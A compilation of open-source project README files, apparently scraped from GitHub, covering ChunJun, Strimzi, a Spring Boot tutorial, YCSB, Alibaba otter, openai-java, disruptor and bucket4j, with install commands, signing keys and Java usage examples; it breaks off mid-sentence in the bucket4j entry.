machine to enter the flink web of standalone cluster. ##### 3. Submit task Go to the directory of 'chunjun-dist' and execute the command below: ```shell sh bin/chunjun-standalone.sh -job chunjun-examples/json/stream/stream.json ``` After the command execute successfully, you can observe the task staus on the flink web. [Reference video](https://www.bilibili.com/video/BV1TT41137UV?spm_id_from=333.999.0.0) ### Yarn Session YarnSession mode depends on the Flink jars and Hadoop environments, and the yarn-session needs to be started before the task is submitted. #### Steps ##### 1. Start yarn-session environment Yarn-session mode depend on Flink and Hadoop environment. You need to set $HADOOP_HOME and $FLINK_HOME in advance, and we need to upload 'chunjun-dist' with yarn-session '-t' parameter. ```shell cd $FLINK_HOME/bin ./yarn-session -t $CHUNJUN_HOME -d ``` ##### 2. Submit task Get the application id $SESSION_APPLICATION_ID corresponding to the yarn-session through yarn web, then enter the directory 'chunjun-dist' and execute the command below: ```shell sh ./bin/chunjun-yarn-session.sh -job chunjun-examples/json/stream/stream.json -confProp {\"yarn.application.id\":\"SESSION_APPLICATION_ID\"} ``` 'yarn.application.id' can also be set in 'flink-conf.yaml'. After the submission is successful, the task status can be observed on the yarn web. [Reference video](https://www.bilibili.com/video/BV1oU4y1D7e7?spm_id_from=333.999.0.0) ### Yarn Per-Job Yarn Per-Job mode depend on Flink and Hadoop environment. You need to set $HADOOP_HOME and $FLINK_HOME in advance. #### Steps The yarn per-job task can be submitted after the configuration is correct. Then enter the directory 'chunjun-dist' and execute the command below: ```shell sh ./bin/chunjun-yarn-perjob.sh -job chunjun-examples/json/stream/stream.json ``` After the submission is successful, the task status can be observed on the yarn web. ## Docs of Connectors For details, please visit：https://dtstack.github.io/chunjun/documents/ ## Contributors Thanks to all contributors! We are very happy that you can contribute Chunjun. <a href="https://github.com/DTStack/chunjun/graphs/contributors"> <img src="https://contrib.rocks/image?repo=DTStack/chunjun" alt="contributors"/> </a> ## Contributor Over Time [](https://git-contributor.com?chart=contributorOverTime&repo=DTStack/chunjun) ## License ChunJun is under the Apache 2.0 license. Please visit [LICENSE](http://www.apache.org/licenses/LICENSE-2.0) for details. ## Contact Us Join ChunJun Slack. https://join.slack.com/t/chunjun/shared_invite/zt-1hzmvh0o3-qZ726NXmhClmLFRMpEDHYw

strimzi/strimzi-kafka-operator

Apache Kafka® running on Kubernetes

2016-05-06T08:52:33Z

[](https://strimzi.io/) # Run Apache Kafka on Kubernetes and OpenShift [](https://dev.azure.com/cncf/strimzi/_build/latest?definitionId=16&branchName=main) [](https://github.com/strimzi/strimzi-kafka-operator/releases/latest) [](http://www.apache.org/licenses/LICENSE-2.0) [](https://twitter.com/strimziio) [](https://artifacthub.io/packages/search?repo=strimzi-kafka-operator) Strimzi provides a way to run an [Apache Kafka®][kafka] cluster on [Kubernetes][k8s] or [OpenShift][os] in various deployment configurations. See our [website][strimzi] for more details about the project. ## Quick Starts To get up and running quickly, check our [Quick Start for Minikube, OKD (OpenShift Origin) and Kubernetes Kind](https://strimzi.io/quickstarts/). ## Documentation Documentation for the current _main_ branch as well as all releases can be found on our [website][strimzi]. ## Roadmap The roadmap of the Strimzi Operator project is maintained as [GitHub Project](https://github.com/orgs/strimzi/projects/1). ## Getting help If you encounter any issues while using Strimzi, you can get help using: - [#strimzi channel on CNCF Slack](https://slack.cncf.io/) - [Strimzi Users mailing list](https://lists.cncf.io/g/cncf-strimzi-users/topics) - [GitHub Discussions](https://github.com/strimzi/strimzi-kafka-operator/discussions) ## Strimzi Community Meetings You can join our regular community meetings: * Thursday 8:00 AM UTC (every 4 weeks starting from 4th June 2020) - [convert to your timezone](https://www.thetimezoneconverter.com/?t=8%3A00&tz=UTC) * Thursday 4:00 PM UTC (every 4 weeks starting from 18th June 2020) - [convert to your timezone](https://www.thetimezoneconverter.com/?t=16%3A00&tz=UTC) Resources: * [Meeting minutes, agenda and Zoom link](https://docs.google.com/document/d/1V1lMeMwn6d2x1LKxyydhjo2c_IFANveelLD880A6bYc/edit#heading=h.vgkvn1hr5uor) * [Recordings](https://youtube.com/playlist?list=PLpI4X8PMthYfONZopcRd4X_stq1C14Rtn) * [Calendar](https://calendar.google.com/calendar/embed?src=c_m9pusj5ce1b4hr8c92hsq50i00%40group.calendar.google.com) ([Subscribe to the calendar](https://calendar.google.com/calendar/u/0?cid=Y19tOXB1c2o1Y2UxYjRocjhjOTJoc3E1MGkwMEBncm91cC5jYWxlbmRhci5nb29nbGUuY29t)) ## Contributing You can contribute by: - Raising any issues you find using Strimzi - Fixing issues by opening Pull Requests - Improving documentation - Talking about Strimzi All bugs, tasks or enhancements are tracked as [GitHub issues](https://github.com/strimzi/strimzi-kafka-operator/issues). Issues which might be a good start for new contributors are marked with ["good-start"](https://github.com/strimzi/strimzi-kafka-operator/labels/good-start) label. The [Dev guide](https://github.com/strimzi/strimzi-kafka-operator/blob/main/development-docs/DEV_GUIDE.md) describes how to build Strimzi. Before submitting a patch, please make sure to understand, how to test your changes before opening a PR [Test guide](https://github.com/strimzi/strimzi-kafka-operator/blob/main/development-docs/TESTING.md). The [Documentation Contributor Guide](https://strimzi.io/contributing/guide/) describes how to contribute to Strimzi documentation. If you want to get in touch with us first before contributing, you can use: - [#strimzi channel on CNCF Slack](https://slack.cncf.io/) - [Strimzi Dev mailing list](https://lists.cncf.io/g/cncf-strimzi-dev/topics) ## License Strimzi is licensed under the [Apache License](./LICENSE), Version 2.0 ## Container signatures From the 0.38.0 release, Strimzi containers are signed using the [`cosign` tool](https://github.com/sigstore/cosign). Strimzi currently does not use the keyless signing and the transparency log. To verify the container, you can copy the following public key into a file: ``` -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAET3OleLR7h0JqatY2KkECXhA9ZAkC TRnbE23Wb5AzJPnpevvQ1QUEQQ5h/I4GobB7/jkGfqYkt6Ct5WOU2cc6HQ== -----END PUBLIC KEY----- ``` And use it to verify the signature: ``` cosign verify --key strimzi.pub quay.io/strimzi/operator:latest --insecure-ignore-tlog=true ``` ## Software Bill of Materials (SBOM) From the 0.38.0 release, Strimzi publishes the software bill of materials (SBOM) of our containers. The SBOMs are published as an archive with `SPDX-JSON` and `Syft-Table` formats signed using cosign. For releases, they are also pushed into the container registry. To verify the SBOM signatures, please use the Strimzi public key: ``` -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAET3OleLR7h0JqatY2KkECXhA9ZAkC TRnbE23Wb5AzJPnpevvQ1QUEQQ5h/I4GobB7/jkGfqYkt6Ct5WOU2cc6HQ== -----END PUBLIC KEY----- ``` You can use it to verify the signature of the SBOM files with the following command: ``` cosign verify-blob --key cosign.pub --bundle <SBOM-file>.bundle --insecure-ignore-tlog=true <SBOM-file> ``` --- Strimzi is a <a href="http://cncf.io">Cloud Native Computing Foundation</a> incubating project.  [strimzi]: https://strimzi.io "Strimzi" [kafka]: https://kafka.apache.org "Apache Kafka" [k8s]: https://kubernetes.io/ "Kubernetes" [os]: https://www.openshift.com/ "OpenShift"

roncoo/spring-boot-demo

Spring Boot的基础教程，由浅入深，一步一步学习Spring Boot，最后学到的不单单是基础！Spring Cloud基础教程请看：https://github.com/roncoo/spring-cloud-demo

2016-08-22T02:54:02Z

## 项目地址汇总 ### Spring Boot Demo：[码云地址](https://gitee.com/roncoocom/spring-boot-demo) | [Github地址](https://github.com/roncoo/spring-boot-demo) ### Spring Cloud Demo：[码云地址](https://gitee.com/roncoocom/spring-cloud-demo) | [Github地址](https://github.com/roncoo/spring-cloud-demo) ### 本项目为Spring Boot的基础教程 - 教程视频：[免费篇](http://www.roncoo.com/course/view/e4189c9db6474745b5e578983cddd112) - 教程视频：[Spring boot全集](http://www.roncoo.com/course/view/c99516ea604d4053908c1768d6deee3d#boxTwo) - 教程视频：[Srping cloud第一季](http://www.roncoo.com/course/view/cc8fbd6749f94f2fa015641ef96b9460#boxTwo) ### 项目文档 - spring-boot-demo [教程文档](http://www.roncoo.com/article/detail/124661) ### 项目说明 - 源码只供学习使用，更多请看视频 ### 技术交流 * QQ3群: 738785494 * QQ2群: 601146630 (满) * QQ1群: 213097382 (满) ## 开源项目 ### roncoo-jui-springboot - 项目地址：[码云地址](https://gitee.com/roncoocom/roncoo-jui-springboot) | [Github地址](https://github.com/roncoo/roncoo-jui-springboot) - 该项目是为了大家更好地运用Spring Boot的功能，进行实战。 - 如果没有使用过Spring Boot，也是一个学习的好项目。 ### roncoo-recharge - 项目地址：[码云地址](https://gitee.com/roncoocom/roncoo-recharge) | [Github地址](https://github.com/roncoo/roncoo-recharge) - 具备话费充值、流量充值、话费卡兑换功能； - 可以拓展其他充值兑换业务，比如虚拟币充值； - 也适用于支付、鉴权等业务功能的拓展。

brianfrankcooper/YCSB

Yahoo! Cloud Serving Benchmark

2010-04-19T20:52:11Z

<!-- Copyright (c) 2010 Yahoo! Inc., 2012 - 2016 YCSB contributors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. See accompanying LICENSE file. --> YCSB ==================================== [](https://travis-ci.org/brianfrankcooper/YCSB) Links ----- * To get here, use https://ycsb.site * [Our project docs](https://github.com/brianfrankcooper/YCSB/wiki) * [The original announcement from Yahoo!](https://labs.yahoo.com/news/yahoo-cloud-serving-benchmark/) Getting Started --------------- 1. Download the [latest release of YCSB](https://github.com/brianfrankcooper/YCSB/releases/latest): ```sh curl -O --location https://github.com/brianfrankcooper/YCSB/releases/download/0.17.0/ycsb-0.17.0.tar.gz tar xfvz ycsb-0.17.0.tar.gz cd ycsb-0.17.0 ``` 2. Set up a database to benchmark. There is a README file under each binding directory. 3. Run YCSB command. On Linux: ```sh bin/ycsb.sh load basic -P workloads/workloada bin/ycsb.sh run basic -P workloads/workloada ``` On Windows: ```bat bin/ycsb.bat load basic -P workloads\workloada bin/ycsb.bat run basic -P workloads\workloada ``` Running the `ycsb` command without any argument will print the usage. See https://github.com/brianfrankcooper/YCSB/wiki/Running-a-Workload for a detailed documentation on how to run a workload. See https://github.com/brianfrankcooper/YCSB/wiki/Core-Properties for the list of available workload properties. Building from source -------------------- YCSB requires the use of Maven 3; if you use Maven 2, you may see [errors such as these](https://github.com/brianfrankcooper/YCSB/issues/406). To build the full distribution, with all database bindings: mvn clean package To build a single database binding: mvn -pl site.ycsb:mongodb-binding -am clean package

alibaba/otter

阿里巴巴分布式数据库同步系统(解决中美异地机房)

2013-08-09T09:31:22Z

<h1>环境搭建 & 打包</h1> <strong>环境搭建：</strong> <ol> <li>进入 $otter_home/lib 目录</li> <li>执行：bash install.sh</li> </ol> <strong>打包：</strong> <ol> <li>进入$otter_home目录</li> <li>执行：mvn clean install -Dmaven.test.skip -Denv=release</li> <li>发布包位置：$otter_home/target</li> </ol> <h1> <a name="%E9%A1%B9%E7%9B%AE%E8%83%8C%E6%99%AF" class="anchor" href="#%E9%A1%B9%E7%9B%AE%E8%83%8C%E6%99%AF"><span class="octicon octicon-link"></span></a>项目背景</h1> <p> &nbsp;&nbsp;&nbsp;阿里巴巴B2B公司，因为业务的特性，卖家主要集中在国内，买家主要集中在国外，所以衍生出了杭州和美国异地机房的需求，同时为了提升用户体验，整个机房的架构为双A，两边均可写，由此诞生了otter这样一个产品。 </p> <p> &nbsp;&nbsp;&nbsp;otter第一版本可追溯到04~05年，此次外部开源的版本为第4版，开发时间从2011年7月份一直持续到现在，目前阿里巴巴B2B内部的本地/异地机房的同步需求基本全上了otter4。 </p> <strong>目前同步规模：</strong> <ol> <li>同步数据量6亿</li> <li>文件同步1.5TB(2000w张图片)</li> <li>涉及200+个数据库实例之间的同步</li> <li>80+台机器的集群规模</li> </ol> <h1> <a name="%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D" class="anchor" href="#%E9%A1%B9%E7%9B%AE%E4%BB%8B%E7%BB%8D"><span class="octicon octicon-link"></span></a>项目介绍</h1> <p>名称：otter ['ɒtə(r)]</p> <p>译意： 水獭，数据搬运工</p> <p>语言： 纯java开发</p> <p>定位： 基于数据库增量日志解析，准实时同步到本机房或异地机房的mysql/oracle数据库. 一个分布式数据库同步系统</p> <p> </p> <h1> <a name="%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86" class="anchor" href="#%E5%B7%A5%E4%BD%9C%E5%8E%9F%E7%90%86"><span class="octicon octicon-link"></span></a>工作原理</h1> <p><img width="848" src="https://camo.githubusercontent.com/2988fbbc7ddfe94ed027cd71720b1ffa5912a635/687474703a2f2f646c322e69746579652e636f6d2f75706c6f61642f6174746163686d656e742f303038382f313138392f64343230636131342d326438302d336435352d383038312d6239303833363036613830312e6a7067" height="303" alt=""></p> <p>原理描述：</p> <p>1. 基于Canal开源产品，获取数据库增量日志数据。 什么是Canal, 请<a href="https://github.com/alibaba/canal">点击</a></p> <p>2. 典型管理系统架构，manager(web管理)+node(工作节点)</p> <p> &nbsp;&nbsp;&nbsp; a. manager运行时推送同步配置到node节点</p> <p> &nbsp;&nbsp;&nbsp; b. node节点将同步状态反馈到manager上</p> <p>3. 基于zookeeper，解决分布式状态调度的，允许多node节点之间协同工作. </p> <h3> <a name="%E4%BB%80%E4%B9%88%E6%98%AFcanal-" class="anchor" href="#%E4%BB%80%E4%B9%88%E6%98%AFcanal-"><span class="octicon octicon-link"></span></a>什么是canal? </h3> otter之前开源的一个子项目，开源链接地址：<a href="http://github.com/alibaba/canal">http://github.com/alibaba/canal</a> <p> </p> <h1> <a name="introduction" class="anchor" href="#introduction"><span class="octicon octicon-link"></span></a>Introduction</h1> <p>See the page for introduction: <a class="internal present" href="https://github.com/alibaba/otter/wiki/Introduction">Introduction</a>.</p> <h1> <a name="quickstart" class="anchor" href="#quickstart"><span class="octicon octicon-link"></span></a>QuickStart</h1> <p>See the page for quick start: <a class="internal present" href="https://github.com/alibaba/otter/wiki/QuickStart">QuickStart</a>.</p> <p> </p> <h1> <a name="adminguide" class="anchor" href="#adminguide"><span class="octicon octicon-link"></span></a>AdminGuide</h1> <p>See the page for admin deploy guide : <a class="internal present" href="https://github.com/alibaba/otter/wiki/Adminguide">AdminGuide</a></p> <p> </p> <h1> <a name="%E7%9B%B8%E5%85%B3%E6%96%87%E6%A1%A3" class="anchor" href="#%E7%9B%B8%E5%85%B3%E6%96%87%E6%A1%A3"><span class="octicon octicon-link"></span></a>相关文档</h1> <p>See the page for 文档: <a class="internal present" href="https://github.com/alibaba/otter/wiki/%E7%9B%B8%E5%85%B3ppt%26pdf">相关PPT&amp;PDF</a></p> <p> </p> <h1> <a name="%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98" class="anchor" href="#%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98"><span class="octicon octicon-link"></span></a>常见问题</h1> <p>See the page for FAQ: <a class="internal present" href="https://github.com/alibaba/otter/wiki/Faq">FAQ</a></p> <p> </p> <h1> <a name="%E7%89%88%E6%9C%AC%E7%9B%B8%E5%85%B3-" class="anchor" href="#%E7%89%88%E6%9C%AC%E7%9B%B8%E5%85%B3-"><span class="octicon octicon-link"></span></a>版本相关: </h1> <p>1. 建议版本：4.2.15 (otter开源版本从内部演变而来，所以初始版本直接从4.x开始) </p> <p>2. 下载发布包：<a href="https://github.com/alibaba/otter/releases">download </a></p> <p>3. maven依赖 ： 暂无 </p> <h1>相关开源</h1> <ol> <li>阿里巴巴mysql数据库binlog的增量订阅&消费组件：<a href="http://github.com/alibaba/canal">http://github.com/alibaba/canal</a></li> <li>阿里巴巴去Oracle数据迁移同步工具(目标支持MySQL/DRDS)：<a href="http://github.com/alibaba/yugong">http://github.com/alibaba/yugong</a></li> </ol> <p> </p> <h1> <a name="%E9%97%AE%E9%A2%98%E5%8F%8D%E9%A6%88" class="anchor" href="#%E9%97%AE%E9%A2%98%E5%8F%8D%E9%A6%88"><span class="octicon octicon-link"></span></a>问题反馈</h1> <h3> <a name="%E6%B3%A8%E6%84%8Fcanalotter-qq%E8%AE%A8%E8%AE%BA%E7%BE%A4%E5%B7%B2%E7%BB%8F%E5%BB%BA%E7%AB%8B%E7%BE%A4%E5%8F%B7161559791-%E6%AC%A2%E8%BF%8E%E5%8A%A0%E5%85%A5%E8%BF%9B%E8%A1%8C%E6%8A%80%E6%9C%AF%E8%AE%A8%E8%AE%BA" class="anchor" href="#%E6%B3%A8%E6%84%8Fcanalotter-qq%E8%AE%A8%E8%AE%BA%E7%BE%A4%E5%B7%B2%E7%BB%8F%E5%BB%BA%E7%AB%8B%E7%BE%A4%E5%8F%B7161559791-%E6%AC%A2%E8%BF%8E%E5%8A%A0%E5%85%A5%E8%BF%9B%E8%A1%8C%E6%8A%80%E6%9C%AF%E8%AE%A8%E8%AE%BA"><span class="octicon octicon-link"></span></a>注意：canal&amp;otter QQ讨论群已经建立，群号：161559791 ，欢迎加入进行技术讨论。</h3> <p>1. <span>qq交流群： 161559791</span></p> <p><span>2. </span><span>邮件交流： jianghang115@gmail.com</span></p> <p><span>3. </span><span>新浪微博： agapple0002</span></p> <p><span>4. </span><span>报告issue：</span><a href="https://github.com/alibaba/otter/issues">issues</a></p> <p> </p>

TheoKanning/openai-java

OpenAI Api Client in Java

2020-09-15T02:58:52Z

 > ⚠️OpenAI has deprecated all Engine-based APIs. See [Deprecated Endpoints](https://github.com/TheoKanning/openai-java#deprecated-endpoints) below for more info. # OpenAI-Java Java libraries for using OpenAI's GPT apis. Supports GPT-3, ChatGPT, and GPT-4. Includes the following artifacts: - `api` : request/response POJOs for the GPT APIs. - `client` : a basic retrofit client for the GPT endpoints, includes the `api` module - `service` : A basic service class that creates and calls the client. This is the easiest way to get started. as well as an example project using the service. ## Supported APIs - [Models](https://platform.openai.com/docs/api-reference/models) - [Completions](https://platform.openai.com/docs/api-reference/completions) - [Chat Completions](https://platform.openai.com/docs/api-reference/chat/create) - [Edits](https://platform.openai.com/docs/api-reference/edits) - [Embeddings](https://platform.openai.com/docs/api-reference/embeddings) - [Audio](https://platform.openai.com/docs/api-reference/audio) - [Files](https://platform.openai.com/docs/api-reference/files) - [Fine-tuning](https://platform.openai.com/docs/api-reference/fine-tuning) - [Images](https://platform.openai.com/docs/api-reference/images) - [Moderations](https://platform.openai.com/docs/api-reference/moderations) - [Assistants](https://platform.openai.com/docs/api-reference/assistants) #### Deprecated by OpenAI - [Engines](https://platform.openai.com/docs/api-reference/engines) - [Legacy Fine-Tunes](https://platform.openai.com/docs/guides/legacy-fine-tuning) ## Importing ### Gradle `implementation 'com.theokanning.openai-gpt3-java:<api|client|service>:<version>'` ### Maven ```xml <dependency> <groupId>com.theokanning.openai-gpt3-java</groupId> <artifactId>{api|client|service}</artifactId> <version>version</version> </dependency> ``` ## Usage ### Data classes only If you want to make your own client, just import the POJOs from the `api` module. Your client will need to use snake case to work with the OpenAI API. ### Retrofit client If you're using retrofit, you can import the `client` module and use the [OpenAiApi](client/src/main/java/com/theokanning/openai/OpenAiApi.java). You'll have to add your auth token as a header (see [AuthenticationInterceptor](client/src/main/java/com/theokanning/openai/AuthenticationInterceptor.java)) and set your converter factory to use snake case and only include non-null fields. ### OpenAiService If you're looking for the fastest solution, import the `service` module and use [OpenAiService](service/src/main/java/com/theokanning/openai/service/OpenAiService.java). > ⚠️The OpenAiService in the client module is deprecated, please switch to the new version in the service module. ```java OpenAiService service = new OpenAiService("your_token"); CompletionRequest completionRequest = CompletionRequest.builder() .prompt("Somebody once told me the world is gonna roll me") .model("babbage-002"") .echo(true) .build(); service.createCompletion(completionRequest).getChoices().forEach(System.out::println); ``` ### Customizing OpenAiService If you need to customize OpenAiService, create your own Retrofit client and pass it in to the constructor. For example, do the following to add request logging (after adding the logging gradle dependency): ```java ObjectMapper mapper = defaultObjectMapper(); OkHttpClient client = defaultClient(token, timeout) .newBuilder() .interceptor(HttpLoggingInterceptor()) .build(); Retrofit retrofit = defaultRetrofit(client, mapper); OpenAiApi api = retrofit.create(OpenAiApi.class); OpenAiService service = new OpenAiService(api); ``` ### Adding a Proxy To use a proxy, modify the OkHttp client as shown below: ```java ObjectMapper mapper = defaultObjectMapper(); Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(host, port)); OkHttpClient client = defaultClient(token, timeout) .newBuilder() .proxy(proxy) .build(); Retrofit retrofit = defaultRetrofit(client, mapper); OpenAiApi api = retrofit.create(OpenAiApi.class); OpenAiService service = new OpenAiService(api); ``` ### Functions You can create your functions and define their executors easily using the ChatFunction class, along with any of your custom classes that will serve to define their available parameters. You can also process the functions with ease, with the help of an executor called FunctionExecutor. First we declare our function parameters: ```java public class Weather { @JsonPropertyDescription("City and state, for example: León, Guanajuato") public String location; @JsonPropertyDescription("The temperature unit, can be 'celsius' or 'fahrenheit'") @JsonProperty(required = true) public WeatherUnit unit; } public enum WeatherUnit { CELSIUS, FAHRENHEIT; } public static class WeatherResponse { public String location; public WeatherUnit unit; public int temperature; public String description; // constructor } ``` Next, we declare the function itself and associate it with an executor, in this example we will fake a response from some API: ```java ChatFunction.builder() .name("get_weather") .description("Get the current weather of a location") .executor(Weather.class, w -> new WeatherResponse(w.location, w.unit, new Random().nextInt(50), "sunny")) .build() ``` Then, we employ the FunctionExecutor object from the 'service' module to assist with execution and transformation into an object that is ready for the conversation: ```java List<ChatFunction> functionList = // list with functions FunctionExecutor functionExecutor = new FunctionExecutor(functionList); List<ChatMessage> messages = new ArrayList<>(); ChatMessage userMessage = new ChatMessage(ChatMessageRole.USER.value(), "Tell me the weather in Barcelona."); messages.add(userMessage); ChatCompletionRequest chatCompletionRequest = ChatCompletionRequest .builder() .model("gpt-3.5-turbo-0613") .messages(messages) .functions(functionExecutor.getFunctions()) .functionCall(new ChatCompletionRequestFunctionCall("auto")) .maxTokens(256) .build(); ChatMessage responseMessage = service.createChatCompletion(chatCompletionRequest).getChoices().get(0).getMessage(); ChatFunctionCall functionCall = responseMessage.getFunctionCall(); // might be null, but in this case it is certainly a call to our 'get_weather' function. ChatMessage functionResponseMessage = functionExecutor.executeAndConvertToMessageHandlingExceptions(functionCall); messages.add(response); ``` > **Note:** The `FunctionExecutor` class is part of the 'service' module. You can also create your own function executor. The return object of `ChatFunctionCall.getArguments()` is a JsonNode for simplicity and should be able to help you with that. For a more in-depth look, refer to a conversational example that employs functions in: [OpenAiApiFunctionsExample.java](example/src/main/java/example/OpenAiApiFunctionsExample.java). Or for an example using functions and stream: [OpenAiApiFunctionsWithStreamExample.java](example/src/main/java/example/OpenAiApiFunctionsWithStreamExample.java) ### Streaming thread shutdown If you want to shut down your process immediately after streaming responses, call `OpenAiService.shutdownExecutor()`. This is not necessary for non-streaming calls. ## Running the example project All the [example](example/src/main/java/example/OpenAiApiExample.java) project requires is your OpenAI api token ```bash export OPENAI_TOKEN="sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" ``` You can try all the capabilities of this project using: ```bash ./gradlew runExampleOne ``` And you can also try the new capability of using functions: ```bash ./gradlew runExampleTwo ``` Or functions with 'stream' mode enabled: ```bash ./gradlew runExampleThree ``` ## FAQ ### Does this support GPT-4? Yes! GPT-4 uses the ChatCompletion Api, and you can see the latest model options [here](https://platform.openai.com/docs/models/gpt-4). GPT-4 is currently in a limited beta (as of 4/1/23), so make sure you have access before trying to use it. ### Does this support functions? Absolutely! It is very easy to use your own functions without worrying about doing the dirty work. As mentioned above, you can refer to [OpenAiApiFunctionsExample.java](example/src/main/java/example/OpenAiApiFunctionsExample.java) or [OpenAiApiFunctionsWithStreamExample.java](example/src/main/java/example/OpenAiApiFunctionsWithStreamExample.java) projects for an example. ### Why am I getting connection timeouts? Make sure that OpenAI is available in your country. ### Why doesn't OpenAiService support x configuration option? Many projects use OpenAiService, and in order to support them best I've kept it extremely simple. You can create your own OpenAiApi instance to customize headers, timeouts, base urls etc. If you want features like retry logic and async calls, you'll have to make an `OpenAiApi` instance and call it directly instead of using `OpenAiService` ## Deprecated Endpoints OpenAI has deprecated engine-based endpoints in favor of model-based endpoints. For example, instead of using `v1/engines/{engine_id}/completions`, switch to `v1/completions` and specify the model in the `CompletionRequest`. The code includes upgrade instructions for all deprecated endpoints. I won't remove the old endpoints from this library until OpenAI shuts them down. ## License Published under the MIT License

LMAX-Exchange/disruptor

High Performance Inter-Thread Messaging Library

2012-09-21T13:42:24Z

bucket4j/bucket4j

Java rate limiting library based on token-bucket algorithm.

2014-10-12T14:19:18Z

 # Java rate-limiting library based on token-bucket algorithm. [](https://github.com/bucket4j/bucket4j/blob/master/LICENSE.txt) #### Get dependency The Bucket4j is distributed through [Maven Central](http://search.maven.org/): ##### Java 17 dependency ```xml <!-- For java 17+ --> <dependency> <groupId>com.bucket4j</groupId> <artifactId>bucket4j_jdk17-core</artifactId> <version>8.12.1</version> </dependency> ``` ##### Java 11 dependency ```xml <!-- For java 11 --> <dependency> <groupId>com.bucket4j</groupId> <artifactId>bucket4j_jdk11-core</artifactId> <version>8.12.1</version> </dependency> ``` ##### Java 8 dependency To get the builds for `Java 8` follow to [these instructions](https://bucket4j.com/commercial/java8.html). #### Quick start ```java import io.github.bucket4j.Bucket; ... // bucket with capacity 20 tokens and with refilling speed 1 token per each 6 second private static Bucket bucket = Bucket.builder() .addLimit(limit -> limit.capacity(20).refillGreedy(10, Duration.ofMinutes(1))) .build(); private void doSomethingProtected() { if (bucket.tryConsume(1)) { doSomething(); } else { throw new SomeRateLimitingException(); } } ``` More examples [can be found there](https://bucket4j.github.io/8.12.1/toc.html#quick-start-examples) ## [Documentation](https://bucket4j.github.io) * [Reference](https://bucket4j.github.io/8.12.1/toc.html) * [Quick start examples](https://bucket4j.github.io/8.12.1/toc.html#quick-start-examples) * [Third-party articles](https://bucket4j.github.io/#third-party-articles) ## Bucket4j basic features * *Absolutely non-compromise precision* - Bucket4j does not operate with floats or doubles, all calculation are performed in the integer arithmetic, this feature protects end users from calculation errors involved by rounding. * *Effective implementation in terms of concurrency*: - Bucket4j is good scalable for multi-threading case it by defaults uses lock-free implementation. - In same time, library provides different concurrency strategies that can be chosen when default lock-free strategy is not desired. * *Effective API in terms of garbage collector footprint*: Bucket4j API tries to use primitive types as much as it is possible in order to avoid boxing and other types of floating garbage. * *Pluggable listener API* that allows to implement monitoring and logging. * *Rich diagnostic API* that allows to investigate internal state. * *Rich configuration management* - configuration of the bucket can be changed on fly ## Bucket4j distributed features In additional to basic features described above, ```Bucket4j``` provides ability to implement rate-limiting in cluster of JVMs: - Bucket4j out of the box supports any GRID solution which compatible with JCache API (JSR 107) specification. - Bucket4j provides the framework that allows to quickly build integration with your own persistent technology like RDMS or a key-value storage. - For clustered usage scenarios Bucket4j supports asynchronous API that extremely matters when going to distribute world, because asynchronous API allows avoiding blocking your application threads each time when you need to execute Network request. ## [Spring boot starter](https://github.com/MarcGiffing/bucket4j-spring-boot-starter) Bucket4j is not a framework, it is a library, with Bucket4j you need to write a code to achive your goals. For generic use-cases, try to look at powerfull [Spring Boot Starter for Bucket4j](https://github.com/MarcGiffing/bucket4j-spring-boot-starter), that allows you to set access limits on your API effortlessly. Its key advantage lies in the configuration via properties or yaml files, eliminating the need for manual code authoring. ### Supported JCache compatible(or similar) back-ends In addition to local in-memory buckets, the Bucket4j supports clustered usage scenario on top of following back-ends: | Back-end | Async supported | Flexible per-entry expiration | Optimized serialization | Thin-client support | Documentation link | | :--- | :---: |:-----------------------------:|:-----------------------:|:-------------------:|:-------------------------------------------------------------------------------------:| | ```JCache API (JSR 107)``` | No | No | No | No | [bucket4j-jcache](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-jcache) | | ```Hazelcast``` | Yes | Yes | Yes | No | [bucket4j-hazelcast](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-hazelcast) | | ```Apache Ignite``` | Yes | No | n/a | Yes | [bucket4j-ignite](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-ignite) | | ```Inifinispan``` | Yes | Yes | Yes | No | [bucket4j-infinispan](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-infinispan) | | ```Oracle Coherence``` | Yes | Yes | Yes | No | [bucket4j-coherence](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-coherence) | ### Redis back-ends | Back-end | Async supported | Redis cluster supported | Documentation link | | :--- | :---: |:-----------------------:|:----------------------------------------------------------------------------------------------:| | ```Redis/Redisson``` | Yes | Yes | [bucket4j-redis/Redisson](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-redisson) | | ```Redis/Jedis``` | No | Yes | [bucket4j-redis/Jedis](https://bucket4j.github.io/8.12.1/toc.html#toc.html#bucket4j-jedis) | | ```Redis/Lettuce``` | Yes | Yes | [bucket4j-redis/Lettuce](https://bucket4j.github.io/8.12.1/toc.html#toc.html#bucket4j-lettuce) | ### JDBC back-ends | Back-end | Documentation link | |:---------------------------|:-------------------------------------------------------------------------------------:| | ```MySQL``` | [bucket4j-mysql](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-mysql) | | ```PostgreSQL``` | [bucket4j-postgresql](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-postgresql) | | ```Oracle``` | [bucket4j-oracle](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-oracle) | | ```Microsoft SQL Server``` | [bucket4j-mssql](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-mssql) | | ```MariaDB``` | [bucket4j-mariadb](https://bucket4j.github.io/8.12.1/toc.html#bucket4j-mariadb) | ### Local caches support Sometimes you are having deal with bucket per key scenarios but distributed synchronization is unnecessary, for example where request stickiness is provided by a load balancer, or other use-cases where stickiness can be achieved by the application itself, for example, Kafka consumer. For such 